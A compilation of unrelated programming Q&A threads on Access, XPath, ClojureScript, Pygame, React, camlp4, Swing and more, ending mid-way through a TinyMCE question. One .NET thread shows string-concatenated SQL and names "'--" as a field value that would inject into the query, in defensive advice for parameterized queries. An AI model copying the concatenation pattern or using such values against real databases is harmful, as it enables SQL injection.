Q: How to update an Access table from queries To give a bit of context, there are these tables, Game purchases, Game Transfers and Game activations, where each have entries of a user, a game and a date of the specific action, with game transfers having a sender and a receiver user.
What I'm trying to do is have another table, called inventory, which will have entries automatically updated from the entries in the others, adding 1 to the value of an entry which specifies a user, a product and what quantity they have (and 0-quantity ones are hidden) if they are the buyer of the game in the game purchases table or the receiver in the game transfers table, or remove 1 from the quantity if they are the activator in the game activations table, or sender in the game transfers table. I plan to do this by counting the number of entries in these other tables, taking note of the combinations of user x product for the specific entry in the inventory and tallying the ones of the same type in the manner described. I manage to count the number of combinations in one table quite successfully, with a simple select and group by, but I can't manage to make them add up after that. How should my code look like to make this work and can it even work in Access?
And sorry if the question is already answered.


text:
Q: Blank page error after product creation I'm manually creating some configurable products but whenever I save them and try to access my site, it shows a blank page. I found out the error occurs when I add the simple products. If those aren't added the site works just fine.
I've looked at the logs and there is only a system.log present which shows a notice for undifined indexes for images, but nothing else.
I've also added ini_set('display_errors', 1); to index.php but it doesn't display any errors.
So my guess is that the simple products are wrongfully configured. I checked them and all seems fine, they are configured in the same way the other products are and those are working just fine.
My question is does anybody by change know what causes this error? Or at least some tips on how to further debug it?


text:
Q: How do I select all of the nodes in an xml file between two tags, depending on attribute name of the tag? I want to select all of the nodes in between the group tags where it has the name I want but I am unsure of how to do this. Below is an example where I would want to select every node where the group has the name "DefaultSettings".
<group name="DefaultSettings">
    <tag></tag>
    <tag></tag>
    <tag></tag>
    <tag></tag>
    <tag></tag>
    <tag></tag>
</group>

<group name="NewSettings">
    <tag></tag>
    <tag></tag>
    <tag></tag>
    <tag></tag>
    <tag></tag>
    <tag></tag>
</group>

I am currently trying to use the XmlDocument object to select all of the nodes but I am unsure of how to get Xpath to work properly as I don't want to select the other group with the name NewSettings. Any advice on what Xpath formula to use or any other way would be appreicated.
Edit: I have solved this by a combination of using  freeformatter.com/xpath-tester.html and just general messing around. Sorry that I didn't research it as much as I thought I did but XPath is pretty confusing and now I know a lot more about how to use it.

A: Assuming this is your XML
<groups>
   <group name="DefaultSettings">
      <tag />
      <tag />
      <tag />
      <tag />
      <tag />
      <tag />
   </group>
   <group name="NewSettings">
      <tag />
      <tag />
      <tag />
      <tag />
      <tag />
      <tag />
   </group>
</groups>

You can try something like this:
XmlDocument xml = new XmlDocument();
xml.LoadXml(str);  // suppose that str string contains "<groups>...</groups>"

XmlNodeList xnList = xml.SelectNodes("/groups/group[@name='DefaultSettings']");
foreach (XmlNode xn in xnList)
{
  Console.WriteLine(xn.InnerText);
}


text:
Q: Clojurescript Add an Event Listener (defn domready [handler]
  (.addEventListener js/window "DOMContentLoaded" handler))

I borrowed this code from here. The problem is I don't totally understand what's going on. JS interop is still a bit of a mystery to me.

*

*.addEventListener
So this is clearly a procedure call, but it's kind of generic. It's like Clojurescript took everything that was inside an object, took it out, and you use it to call that method on "objects". As long as that "object" has the ".addEventListener" property it will call this. Is that what it's doing? Why not use a keyword instead? like (:addEventListener domElement) that seems more logical to me.

*js/window
What is this? Is it a namespace or an object? Are they the same thing?

*"DOMContentLoaded"
A string, that's familiar.

*handler
Also familiar, but does it have a notion of this? Not that I'm really going to  miss this.

A:
.addEventListener
So this is clearly a procedure call, but it's kind
  of generic. It's like Clojurescript took everything that was inside an
  object, took it out, and you use it to call that method on "objects".
  As long as that "object" has the ".addEventListener" property it will
  call this. Is that what it's doing? Why not use a keyword instead?
  like (:addEventListener domElement) that seems more logical to me.

Your mental model about how this works is mostly fine. What it does when it compiles is move the function name to be run as a method on the first argument.
(.method obj ...args) get's transformed to obj.method(...args)
This type of interop comes from the parent language Clojure.
On why do we have an explicit version of calling the function that's not Clojure idiomatic, I think the idea is to have clear separation between what is native Clojure code with Clojure semantics (immutability, friendly to CLJ data structures, etc) and what is interoperating with the host environment (mutable, not friendly to CLJ data structures, etc).
In my opinion it is better to have clear separation between those two given how different the semantics of CLJS and the host platforms are. For me explicitness is better than implicit in this case (it is easy to spot looking at the code what is JS code in CLJS, and what is pure CLJS).

js/window
What is this? Is it a namespace or an object? Are they the same thing?

Both, js/ is accessing the namespace js, which is where CLJS puts the JS namespace (since there is only one and global). window is just grabbing the window variable from the js namespace.
This is no different from how you access variables in other namespaces in CLJS. If you (def a 1) in (ns cljs.test) and then run cljs.test/a that will give you 1. Same form, ns/something-in-that-ns.

"DOMContentLoaded"
  A string, that's familiar.

\o/

handler
Also familiar, but does it have a notion of this? Not that I'm really going to miss this.

Not sure what this has to do with handler. It is just a higher order function passed into domready as a parameter, like you would do in JS: function domready (onReady) { window.addEventListener("DOMContentLoaded", onReady) }

I hope this helps, if you want to try it out live and learn some more, maybe visit the Talking with JS on the Diving into ClojureScript tutorial, or maybe check this section of the lt-cljs-tutorial.

A: I'm just learning clojurescript so I don't really know if it is the correct answer but I've done it in the following way:
(defn handler [] (js/console.log "ready"))
(js/document.addEventListener  "DOMContentLoaded" handler)

which is then translated to
cljs.user.handler = (function cljs$user$handler(){
  return console.log("ready");
});
document.addEventListener("DOMContentLoaded",cljs.user.handler);

to check how clojurescript translate code I've used KLIMPSE http://app.klipse.tech/

A: .addEventListener is a method call on the global Javascript object js/window. This method call takes two parameters: "DOMContentLoaded" and handler.
When you are doing interop (either Java or Javascript) you really are calling methods on objects. There are macros behind what is happening here. What is straight after the ( is a verb, which I usually think of as a function call (although it might also be a macro or a special form). When doing interop what comes after the verb is the instance, and after that the parameters.
If it were straight Javascript it would look like this:
function domready(handler){
    window.addEventListener("DOMContentLoaded" handler);
}


text:
Q: SQL Injection Prevention in .NET I typically write my SQL as so in .NET
sql.Append("SELECT id, code, email FROM mytable WHERE variable = @variable ");

Then do something like this:
using (SqlConnection conn = new SqlConnection(ConfigurationManager.ConnectionStrings[ConfigurationManager.AppSettings["defaultConnection"]].ConnectionString))
{
    using (SqlCommand myCommand = new SqlCommand(sql.ToString(), conn))
    {
        myCommand.Parameters.AddWithValue("@variable", myVariableName");
        ...

But should I also do this addParameter when the data I got comes directly from the database like so?
likesql.Append(string.Format("SELECT group_id, like_text FROM likeTerms ORDER BY group_id ASC "));

DataTable dtLike = SqlHelper.GetDataTable(likesql.ToString());

foreach (DataRow dr in dtLike)
{
    buildsql.Append(".... varId = " + dr["group_id"].ToString() + "...");

    ...

Is this acceptable? What is best practice?

A: When you use DbCommands with parameters, the parameters are never "inlined" into the query. Instead, the query and the parameter data are passed to a special system stored procedure, sp_executesql. When it's done this way, whatever parameter data you have is treated as exactly that, and isn't parsed out of the query string; therefore, an injected command that may have gotten past your validation is never executed.
Using parameters is the best practice for ADO.NET-based data access layers, no matter where the data comes from, and is IMO the only way it should ever be done at this level (if you don't use an ORM). You should NEVER concatenate values you retrieve from a web or windows form into a SQL statement, and if you're follow that rule, why would you implement it any differently just because you're confident or even sure that the information isn't directly from the user? Follow the same pattern, and if and when you expose that method to persist user-specified data you won't get burned.

A: It is acceptable (in sense if you know restrictions your may sometimes work correctly).
Is it good practice to use values from database and build SQL query with string concatenation - no.
I.e. in your sample what if "group_id" is "'--"?

A: You should always use parameters:

*

*Where are the values in your database coming from?

*Can you trust, in your example, that 'group_id' wasn't modified to be something you're not expecting?

Trust noone
Can someone with limited database access inject directly into a field used elsewhere?
Performance
Also, it helps performance. Cached execution plans will disregard the value of the parameter, meaning you're saving the server from recompiling the query every time the parameters change.

A: i recommend using stored procedure, but this is acceptable
i also recommend that you sanitize your parameters before assigning them to the query


text:
Q: Display the original question beneath the answer edit form Often when I edit one of my answers, it's because I want to better address the original question. The only problem is that I can't see the original question while I'm editing my answer!
I'd love to see the original question text beneath the "answer edit" form. This way I could scroll down slightly to read it if I wanted to, or just ignore it if not.
Current workaround is to click the 'return to answer' link and hope that you remember to launch it in a new tab/window, then tab back and forth.

A: How about above the edit form?

A: For firefox users
Greasemonkey script to show Question when editing Answers.

A: This bugs me too!
Alternatively, clicking "edit" could load the edit form right there on the page.  This would help in some cases where you want to copy/paste something from a comment or from another answer.

A: This would be great. Every time I edit an answer I have to open the question in another tab. I would prefer it above the form though.

A: What's the status on this?
Now that even the return to answer link is removed, isn't this all the more relevant?

A: Having 2 versions of the same question on a page would just make the page confusing tbh - I think that I prefer to see the original answer in a separate page myself anyway.


text:
Q: Recovering files after Steam update I've come across this issue a couple times now. I was downloading a game when Steam ran an update of the client, which makes the client restart downloading the game from the beginning. I had already downloaded over 9GB out of 11. However, when I go check the game folder, I can see that there are around 19GB of data (I can confirm that the data currently downloaded goes into this folder). I guess that the client decompresses the files as it downloads them, so it scans the folder looking for the compressed versions of the files, which can't be found. This is just my theory though.
The same thing happened last year, and I can see that I have another folder with over 50GB of data (it was NBA 2K).
Any idea how I can fix this issue and "recover" this data?
Thanks

A: So with your internet connection being slow, i can understand not wanting to wait several days to redownload a game.  This isn't guaranteed to work, since in some cases things like updates can cause problems.
Note: if it has downloaded the files already, you need to think carefully before doing these steps or you may have to start the download over again.

*

*Backup the old game files somewhere

*Delete the game via the steam client

*Check the game folder and delete the rest of the files/folders

*Copy the backed up game data files/folders over to the game folder again (close steam client just to make sure)

*If you see a InstallScript.vdf file in the game folder, delete it.

*Have steam install the game.

Best case scenario it sees the game files and says it's updated.  Worst case, it still rejects the files for whatever reason and wants to redownload it.  You may also have luck just having it validate the game files and it decides to work, but I did see one person say that if you have it install the games files in steam, pause it when it starts to download the game, copy the game files over to the game folder, and then validate the files it may work.
There doesn't seem to be a way that works every time, but if you need to validate the files, right click on the game in steam, go to properties, go to the Local Files tab, and then click Verify Integrity of Game Cache.
The only other thing I would suggest is just to let it download the game and find something else to do until it finishes.  It's tough, but sometimes it's better to be patient than to waste your time.

A: I found a solution here : http://forums.steampowered.com/forums/showthread.php?t=3013670.
I hope that will help someone.


text:
Q: How to access fields inside a model I´m using Sencha Touch 2 and have defined a model like this:
Ext.define('csx.model.Profile', {
 extend: 'Ext.data.Model',

 config: {
    fields: [
        {name: 'firstname',type: 'string'},
        {name: 'lastname', type: 'string'},
    ],

    hasMany: [
        {model: 'Telephone', name: 'telephones'},
        {model: 'Email', name: 'emails'},
    ],
 },

 doSomething: function () {
    var firstname = this.get('firstname'); //returns null
    var phones = this.telephones(); // throws a TypeError
},

});

Inside my function doSomething I am trying to access the values of the model and the  models associated with the hasMany property. The getfunction only returns null and when I try to access the associated models I only get a TypeError saying that the object doesn´t have a telephones function. But when I look at the Sencha Touch 2 guides UsingModels on how to use models it says that the hasMany associations are accessible trough a function resembling the name I specified (telephones).
So how do I access the field values and the associated models inside a model instead?

A: You should change the model properties in the 'hasMany' config of your model to reflect the full name of your models:
hasMany: [
    {model: 'csx.model.Telephone', name: 'telephones'},
    {model: 'csx.model.Email', name: 'emails'},
],

That is, supposing you have defined your models Telephone and Email like this:
Ext.define('csx.model.Telephone', {
    extend: 'Ext.data.Model',
    config: {
        fields: [
            {name: 'number', type: 'string'},
        ],
 });

Ext.define('csx.model.Email', {
    extend: 'Ext.data.Model',
    config: {
        fields: [
            {name: 'address', type: 'string'},
        ],
 });

Then, if you create an instance of your 'Profile' model:
var profile = Ext.create('csx.model.Profile', {firstname:'John',lastname:'Deere'});

you can access your fields like this:
profile.get('firstname');
profile.get('lastname');

and the 'telephones' and 'emails' stores from the hasMany associations like this:
profile.telephones()
profile.emails()

The fact that your 'firstname' field had a null value is because you didn't instantiate your model. The fact that the 'telephones()' function was not created automatically as stated in the docs is because of the wrong 'model' configuration as explained in the beginning of this answer.
Hope this helps.


text:
Q: Pygame: music do not play instantly on loop First, sorry for my poor English.
I'm writing a game with Python 3.4 and Pygame. Game includes scenes what provide view of screen, and music, etc, parsed from XML scripts.
I expect music plays instantly, but not plays at next scene.
and cannot find similar problem on web.
how can I rewrite code to play music scene-instantly?
I wrote code like it:
(graphic part removed)
xml file is here : https://pastebin.com/bSBiv1jX
import pygame
import xml.etree.ElementTree as ET

class Script():
    def __init__(self, name, filename):
        self.name = name
        self.parsed = ET.parse(filename)
        self.root = self.parsed.getroot()
        self.scene_list = self.root.findall("scene")

        self.flag_list = str(self.root.findtext("flags")).split(",")
        for flag in self.flag_list:
            setattr(self, flag, False)

    def music_play(self, number):
        scene = self.scene_list[number]
        if scene.findtext("music") == 'stop':
            pygame.mixer.music.stop()
        elif scene.findtext("music") != '':
            pygame.mixer.music.load(scene.findtext("music"))
            pygame.mixer.music.play(-1, 0.0)

    def goto(self, number):
        string = self.scene_list[number].findtext("goto")
        if string == '':
            return number
        elif isNumber(string) == True:
            return int(string)
        elif isNumber(string) == False:
            return string

    def if_goto(self, string, number):
        iflist = string.split(', ')
        if getattr(self, iflist[0]) == True
            return int(iflist[1])
        else:
            return number + 1

def isNumber(s):
    try:
        float(s)
        return True
    except ValueError:
        return False

def runGame():
    pygame.init()
    windowSurface = pygame.display.set_mode((200, 200))

    clock = pygame.time.Clock()
    run = True

    scene_number = 0

    script = Script('dummy', 'scenario/dummy.xml')

    while run:
        # 입력 처리
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                run = False
            elif event.type == pygame.KEYDOWN:
                if event.key == pygame.K_SPACE:
                if scene_number == script.goto(scene_number):
                        scene_number += 1
                    elif scene_number != script.goto(scene_number):
                        if isNumber(script.goto(scene_number)):
                            scene_number = script.goto(scene_number)
                        else:
                            scene_number = script.if_goto(script.goto(scene_number), scene_number)

        script.music_play(scene_number)

        pygame.display.update()

        clock.tick(30)
    pygame.quit()

def main():
    runGame()

if __name__ == "__main__":
    main()

A: https://www.pygame.org/docs/ref/music.html#pygame.mixer.music.load

If a music stream is already playing it will be stopped

https://www.pygame.org/docs/ref/music.html#pygame.mixer.music.play

If the music is already playing it will be restarted.

At every iteration of your game loop you call music_play and restart the music. You should only start the music if it's not already running.
You could, for instance, only call this when a scene changes.


text:
Q: Numerical estimates for a function relating to twin primes : Consider the following function :
$$F(s)= \sum_{\text{$p,\ p+2$ are primes}} \left({\frac{1}{p^s}}+{\frac{1}{(p+2)^s}}\right).$$
Brun's theorem tells us that $F(1)$ is finite.
We are looking for the infiniteness of $F(0)$. Indeed, this is the Twin Prime Conjecture, supported by extensive numerical evidence.

Is there a numerical estimate for a value of $s\in(0,1)$ such that $F(s)$ seems to diverge for that value (and all values less than that of course)?

A: It is conjectured that the number of twin primes between $x$ and $2x$ has order of magnitude $x/\log^2 x$. If this is true, then $F(s)$ diverges for any $s<1$. See also this related MO post.


text:
Q: How to use addRule() with a tag dynamically inside a loop it takes Exception when inflating View? I have a loop to add a variable number of views to a RelativeLayout, and I want to set some Rules like BELOW, my problem is that I'm using tags to name the objects dynamically, and to use the addRule() method I need to use an id, so what I tried is to set an Id every time that the loop is runned and it's not the first time.
This is my code:
for(int i = 1; i <= kNumberofViews; i++){
    View = new MyView(context);
    RelativeLayout.LayoutParams params = new LayoutParams(kViewWidth, kViewHeight);
    params.setMargins(kMarginLeft, kMarginTop, kMarginRight, kMarginBottom);
    params.addRule(CENTER_HORIZONTAL);
    if (i != 1){
        MyView view = (MyView)view.findViewWithTag(i-1);
        view.setId(i);
        params.addRule(RelativeLayout.BELOW, view.getId());
    }
    View.setTag(i);
    View.setBackgroundColor(Color.GREEN);
    System.out.println("View " + i +" added correctly");
    addView(View, params);
}

How can I solve it?
EDIT:
05-18 14:57:19.549: E/AndroidRuntime(5500): FATAL EXCEPTION: main
05-18 14:57:19.549: E/AndroidRuntime(5500): java.lang.RuntimeException: Unable to start activity ComponentInfo{me.gabrielesteban.app/me.gabrielesteban.app.MyRelativeLayoutTest}: android.view.InflateException: Binary XML file line #7: Error inflating class me.gabrielesteban.app.GD.MyRelativeLayout
05-18 14:57:19.549: E/AndroidRuntime(5500):     at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2307)
05-18 14:57:19.549: E/AndroidRuntime(5500):     at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2357)
05-18 14:57:19.549: E/AndroidRuntime(5500):     at android.app.ActivityThread.access$600(ActivityThread.java:153)

EDIT 2:
I think that the problem is in the following line MyView view = (MyView)view.findViewWithTag(i-1);, is this line correct?

A: Try checking if there is an ID assigned before assigning a new one!
for(int i = 1; i <= kNumberofViews; i++){
    View v = new MyView(context);
    RelativeLayout.LayoutParams params = new LayoutParams(kViewWidth, kViewHeight);
    params.setMargins(kMarginLeft, kMarginTop, kMarginRight, kMarginBottom);
    params.addRule(CENTER_HORIZONTAL);
    if (i != 1){
        MyView view = (MyView)findViewWithTag(i-1);
        if (view.getId() == View.NO_ID)
            view.setId(i);
        params.addRule(RelativeLayout.BELOW, view.getId());
    }
    View.setTag(i);
    View.setBackgroundColor(Color.GREEN);
    System.out.println("View " + i +" added correctly");
    addView(View, params);
}

EDIT
Edited, checked the documentation and you are right, a view can't be null, but if there is no view assigned the returned value is View.NO_ID (Or -1).

A: I reviewed My code again and also I read How do I call findViewWithTag in the OnCreate() method of an activity? and I see that when I call the findViewWithTag() method put the same object that I'm finding before the method, so the result was that don't find an object inside that object with that tag, so the only thing that I have to do was delete that part.
MyView view = (MyView)view.findViewWithTag(i-1); //Bad way to find the View

MyView view = (MyView)findViewWithTag(i-1); //Good way to find the View by tag


text:
Q: How to access locators which are stored in some other file in Javascript? I have a file called locators which stores all my variables and elements. However I need to prepare different spec files for different cases and I am unable to access the variables stored in my locator file.
I am using the following code in my spec file -
var loc = require("../locators.js");

However whenever I am using a function on the variable from the var file it gives the following error -
Cannot read property 'sendKeys' of undefined (as here I am using sendKeys)
The variable in locator file is declared as -
var userName = element(by.model("someModelName"));

It is being called as
loc.userName.sendKeys("ABC");

What am I doing wrong here ?


text:
Q: React Server Components Performance on SEO So this is a fairly new topic, React Server Components has recently been released, comparing to SSR/Next.js, how does it affect SEO?
Since the component is rendered in the server dynamically when it is requested, it is not really as static as SSR like Next.js, will search engine fail to index those component if I use it?
A demo can found here
We can see that in api.server.js,
async function renderReactTree(res, props) {
  await waitForWebpack();
  const manifest = readFileSync(
    path.resolve(__dirname, '../build/react-client-manifest.json'),
    'utf8'
  );
  const moduleMap = JSON.parse(manifest);
  pipeToNodeWritable(React.createElement(ReactApp, props), res, moduleMap);
}

function sendResponse(req, res, redirectToId) {
  const location = JSON.parse(req.query.location);
  if (redirectToId) {
    location.selectedId = redirectToId;
  }
  res.set('X-Location', JSON.stringify(location));
  renderReactTree(res, {
    selectedId: location.selectedId,
    isEditing: location.isEditing,
    searchText: location.searchText,
  });
}

I understand this can help to reduce the workload for client's device, since the component are rendered on the server and sent to the client, and that the component can be rendered with the secret stored in server as we can just pass it in as props rather we sending the secret to client.
But if SEO matters, is SSR preferred over React Server Component?

A: Server Components are complementary to rendering into HTML, not an alternative. The plan is to have both.
Server Components were not released. What was released is an early tech preview in the spirit of sharing our research. This preview doesn't include an HTML renderer. The api.server.js file from the demo you mentioned contains a comment about this:
    const html = readFileSync(
      path.resolve(__dirname, '../build/index.html'),
      'utf8'
    );
    // Note: this is sending an empty HTML shell, like a client-side-only app.
    // However, the intended solution (which isn't built out yet) is to read
    // from the Server endpoint and turn its response into an HTML stream.
    res.send(html);

By the time Server Components are officially released, there will be a streaming HTML renderer for the first render.
It's not built yet.

A: It should be same from SEO point of view as SPA.
What happens with classic React SPA is, it loads React components (which are essentially JS functions) as part of the JS bundle, and then it starts to request data from the backend in JSON format. After JSON is fetched, it is rendered via the React component functions and inserted into the DOM. Modern crawlers use V8 engine (or maybe smth else if it's Bing :D), they wait until page is fully loaded and all JSON data is loaded and all components are actually rendered - and then it crawls the resulting DOM.
GoogleBot is crawling SPAs that way for at least 3 years now, probably more - so if you were thinking that SSR is essential for SEO, no, it is not. There were plenty of investigations into this, random example: https://medium.com/@l.mugnaini/spa-and-seo-is-googlebot-able-to-render-a-single-page-application-1f74e706ab11
So essentially for crawler it doesn't really matter, how exactly React component is rendered. In case of React Server Components, component function resides on server and is never transferred to the client as part of the JS bundle. So instead of requesting JSON data, the application requests rendered component in some intermediate format (not HTML btw). Result of that is transferred to the client and is getting rendered to the DOM. So the end result is still the same - it's some DOM elements that the bot can crawl.


text:
Q: How do you check if the characters in a string are grouped together? I want to be able to check if the characters in a string are grouped together.
The definition of being grouped: Not repeated somewhere else other than its cluster. In "AABBBBACDDD" it is not grouped since the last "A" is not in its cluster (first set of A's).
The characters do not have to be in alphabetical order.
For example:
AAABBBBBCCC → is grouped
AABBBBACDDD → is not grouped

There is definitely a loop involved but I don't know the conditions to check if it is group or not

A: This sounds like an algorithms question more than C++. So the algorithm is going to be like this, (pseudo-code). You can write C++ code for this (I can help you if you want):
function is_grouped(str):
  seen_letters = {} # set of seen letters so far
  last_letter = None
  for c in str:
    if last_letter == c:  # if it is the same letter as before continue
      continue
    if last_letter != c && c in seen_letters:  # seen before and a new cluster
      return false
    seen_letters.add(c) # new unsee cluster
    last_letter = c
  return true


text:
Q: Is it possible to write a camlp4 syntax extension that gives you access to the last let binding as a string? I've got some code like this:
  type boolean = T | F
  type  bexp = Const of boolean
  |  Var of variable
  |  Bop of bop * bexp * bexp
  |  Not of bexp
  and bop = And | Or | Xor
  and variable = { name: string; mutable value: boolean }

Later on if I want to create a variable I have to do:
let full         = Var({name ="full"; value  = F});;

I'd rather not have to repeat the 'full' twice and would like to come up with some introspective way to get the name as a string.  I'm thinking camlp4 could work for this, but have no idea where to start.
So ultimately I'd like to be able to do something like:
let full          = Var({name = :letname:; value = F});;

Where :letname: would fill in the current let binding as a string in place of  (in this case "full"). (the syntax :letname: is just a suggestion, other ideas for syntax that won't clash with OCaml's syntax?)
A more concise syntax like this would probably be preferable:
var full = F

Which would then expand to:
let full = Var({name = "full"; value = F});;

Is this possible to do with camlp4 and if so, how would I go about it?
(upon further consideration, the :letname: syntax or something similar would be more general-purpose and useful in more areas)

A: Try the following.  In a separate file, such as test.ml
(* A simple syntax extension for getting the name of an identifier. *)
open Camlp4

(* Create an ID for the macro*)
module Id : Sig.Id = struct
    let name = "let'"
    let version = "1.0"
end

module Make (Syntax : Sig.Camlp4Syntax) = struct
    open Sig
    include Syntax

    (* Extend the syntax with a let' x=e1 in e2 construction*)
    EXTEND Gram
    expr: [
        [ "let'"; x = patt ; "=" ; e1=expr; "in"; e2=expr ->
            let name=begin match x with
                | Ast.PaId (_,Ast.IdLid(_,name)) -> name
                | _ -> failwith "Require an identifier in a let' statement."
            end in
            <:expr<
                let $x$ = $e1$ in ($str:name$,$e2$)
            >>
        ]
    ];
    END
end

module M = Register.OCamlSyntaxExtension(Id)(Make)

Next, compile with
 ocamlc -c -I +camlp4 dynlink.cma camlp4lib.cma -pp camlp4of.opt test.ml

On the top level
 ocaml dynlink.cma -I +camlp4 camlp4of.cma

Then
# #load "test03.cmo";;
# let' x=1 in x;;
- : string * int = ("x", 1)

In order to compile with the extension create a different file such as test2.ml
let' x=1 in x

Then, compile with
ocamlc -pp "camlp4of test.cmo" test2.ml

A: Yes, this is possible. Start with reading some camlp4 tutorial to understand how it works and ask more specific questions.


text:
Q: change size for BorderLayout in Java/Jython I am trying to create a GUI for a small command line program. I am doing it in Jython as I am more comfortable with Python than Java.
A pear of my code looks like:
    self.f = JFrame("Demultiplex the data")
    self.f.setSize(900, 500)
    self.f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE)

    #Create a Text Area
    self.txtArea = JPanel(GridLayout(15,0))
    self.txtArea.setPreferredSize(Dimension(150, 150))
    self.textAreaForSheet = JTextField(30)
    self.textAreaInputForFolder = JTextField(30)
    self.textAreaOutPutFolder= JTextField(30)
    self.txtArea.add(self.textAreaForSheet)
    self.txtArea.add(self.textAreaInputForFolder)
    self.txtArea.add(self.textAreaOutPutFolder)

    #Create Buttons
    self.buttonArea = JPanel(GridLayout(15,15))
    self.buttonArea.setPreferredSize(Dimension(150, 150))
    self.sampleSheetBtn = JButton("SampleSheet", actionPerformed=self.onClickSample)
    self.runOutPutFolder = JButton("RUN Folder",actionPerformed=self.onClickRun)
    self.DemultiplexOutPutFolder = JButton("Output Folder",actionPerformed=self.onClickOut)
    self.buttonArea.add(self.sampleSheetBtn)
    self.buttonArea.add(self.runOutPutFolder)
    self.buttonArea.add(self.DemultiplexOutPutFolder)

    #Create Check Boxes
    self.CheckBox = JPanel(GridLayout(15,15))
    self.buttonArea.setPreferredSize(Dimension(150, 150))
    self.Iter1 = JCheckBox("01_0M_NY", True,)
    self.Iter2 = JCheckBox("02_0M_N", True,)
    self.Iter3 = JCheckBox("03_1M_NY", True,)
    self.Iter4 = JCheckBox("04_1M_N", True,)

    self.CheckBox.add(self.Iter1)
    self.CheckBox.add(self.Iter2)
    self.CheckBox.add(self.Iter3)
    self.CheckBox.add(self.Iter4)

    #Create a Run button "Demultiplex"
    self.ExecutePanel = JPanel()
    self.console=JTextArea(10,80)
    self.RunBtn = JButton("Demultiplex",actionPerformed= self.performDemultiplex)
    self.ExecutePanel.add(self.RunBtn)
    self.ExecutePanel.add(self.console)

    #Add everything to JFrame
    self.f.add(self.txtArea, BorderLayout.CENTER)
    self.f.add(self.buttonArea, BorderLayout.WEST)
    self.f.add(self.CheckBox, BorderLayout.EAST)
    self.f.add(self.ExecutePanel, BorderLayout.SOUTH)

But I want the console 'self.console=JTextArea(10,80)' to occupy the major area in the centre. I am a biologist and please help me.
How it Looks Now:

A: For the reasons discussed here, don't use setPreferredSize(). The calculated preferred size for your components, including the JTextArea(10,80), will be correct for the platform's Look & Feel after you add the text area to the frame's BorderLayout.CENTER and pack() the enclosing Window.


text:
Q: usePagination custom-hooks with material-ui using next and prev functions in Pagination component as props i have used a custom-hook for pagination with material-ui. the component works fine for first page but  call for  next() , prev() and jump()does not work.i have tried to pass next={next} as props .i have read the api documentation from here but could not find proper way to call above functions.
here is code for usePagination.jsx custom-hooks
import React, { useState } from "react";
function usePagination(data, itemsPerPage) {
    const [currentPage, setCurrentPage] = useState(1);
    const maxPage = Math.ceil(data.length / itemsPerPage);

    function currentData() {
      const begin = (currentPage - 1) * itemsPerPage;
      const end = begin + itemsPerPage;
      return data.slice(begin, end);
    }

    function next() {
      setCurrentPage((currentPage) => Math.min(currentPage + 1, maxPage));
    }

    function prev() {
      setCurrentPage((currentPage) => Math.max(currentPage - 1, 1));
    }

    function jump(page) {
      const pageNumber = Math.max(1, page);
      setCurrentPage((currentPage) => Math.min(pageNumber, maxPage));
    }

    return {
      next, prev, jump, currentData,
      currentPage, maxPage
    };
}

export default usePagination;

here is my Courses.jsx where i want to show list of courses with pagination.
import React, { useState, useEffect } from "react";
import {connect} from 'react-redux';
import CourseList from "./CourseList" ;
import usePagination from "./usePagination";
import * as actions from "../_actions/courseActions";
import CourseForm from "./CourseForm";
import { Grid, Paper, TableContainer, Table, TableHead, TableRow, TableCell, TableBody, withStyles, ButtonGroup, Button } from "@material-ui/core";
import  { useToasts } from "react-toast-notifications";
import { makeStyles } from '@material-ui/core/styles';
import Pagination from '@material-ui/lab/Pagination';
const useStyles = makeStyles((theme) => ({
  root: {
    '& > *': {
      marginTop: theme.spacing(2),
    },
  },
}));

  const Courses =(props)=> {

    const classes = useStyles();

      useEffect(() => {
        props.fetchAllCourses()

        }, [])
           // pagination code here
          const { next, prev,
             jump, currentData,
            currentPage, maxPage }
             =usePagination(props.courseList,4);

             console.log("total pages:"+ maxPage)

        return(

        <CourseList
             courseList={currentData()}

             deleteCourse={props.deleteCourse}
             createCourse={props.createCourse}
             updateCourse={props.updateCourse}

               />

      <Pagination count={maxPage}

       color="primary" />

                );

    }
    const mapStateToProps= (state) =>({
        courseList:state.course.list

    })
    const mapActionToProps={
        fetchAllCourses:actions.fetchAll,
        deleteCourse:actions.Delete,
        createCourse:actions.create,
        updateCourse:actions.update,
        fetchCourse:actions.fetchById

           }
    export default connect(mapStateToProps,mapActionToProps)(Courses);

thanks in advance for help.

A: You have created a stateful hook that provides click handlers to manage page changes. Then you put it inside a React component and use it to drive a MUI Pagination component.
The point is that a MUI Pagination is perfectly equipped with its own click handlers that are there to manage... page changes! The logic is already inside, and your work is unnecessary.
Just for completeness, Material-UI offers out-of-the-box a hook usePagination which does what you're trying to achieve. The main user of this hook is... Pagination.
MUI usePagination allows to specify completely the look & feel of a pagination bar.
There are basic examples of usePagination usage for version 5 and for version 4.
Source code for v.5 is here.
The best way to fully understand the logic of this hook is to check its unit tests.


text:
Q: TinyMCE with AJAX (Update Panel) never has a value I wanted to use a Rich Text Editor for a text area inside an update panel.
I found this post: http://www.queness.com/post/212/10-jquery-and-non-jquery-javascript-rich-text-editors via this question: Need ASP.Net/MVC Rich Text Editor
Decided to go with TinyMCE as I used it before in non AJAX situations, and it says in that list it is AJAX compatible. Alright I do the good ol' tinyMCE.init({ //settings here });
Test it out and it disappears after doing a update panel update. I figure out from a question on here that it should be in the page_load function so it gets run even on async postbacks. Alright do that and the panel stays. However, upon trying to submit the value from my textarea, the text of it always comes back as empty because my form validator always says "You must enter a description" even when I enter text into it. This happens the first time the page loads and after async postbacks have been done to the page.
Alright I find this http://www.dallasjclark.com/using-tinymce-with-ajax/ and Can't post twice from the same AJAX TinyMCE textarea. I try to add this code into my page load function right after the tinyMCE.init. Doing this breaks all my jquery being called also in the page_load after it, and it still has the same problem.
I am still pretty beginner to client side scripting stuff, so maybe I need to put the code in a different spot than page_load? Not sure the posts I linked weren't very clue on where to put that code.
My Javascript:
<script type="text/javascript">

var redirectUrl = '<%= redirectUrl %>';

function pageLoad() {

    tinyMCE.init({
        mode: "exact",
        elements: "ctl00_mainContent_tbDescription",
        theme: "advanced",
        plugins: "table,advhr,advimage,iespell,insertdatetime,preview,searchreplace,print,contextmenu,paste,fullscreen",
        theme_advanced_buttons1_add_before: "preview,separator",
        theme_advanced_buttons1: "bold,italic,underline,separator,justifyleft,justifycenter,justifyright, justifyfull,bullist,numlist,undo,redo,link,unlink,separator,styleselect,formatselect",
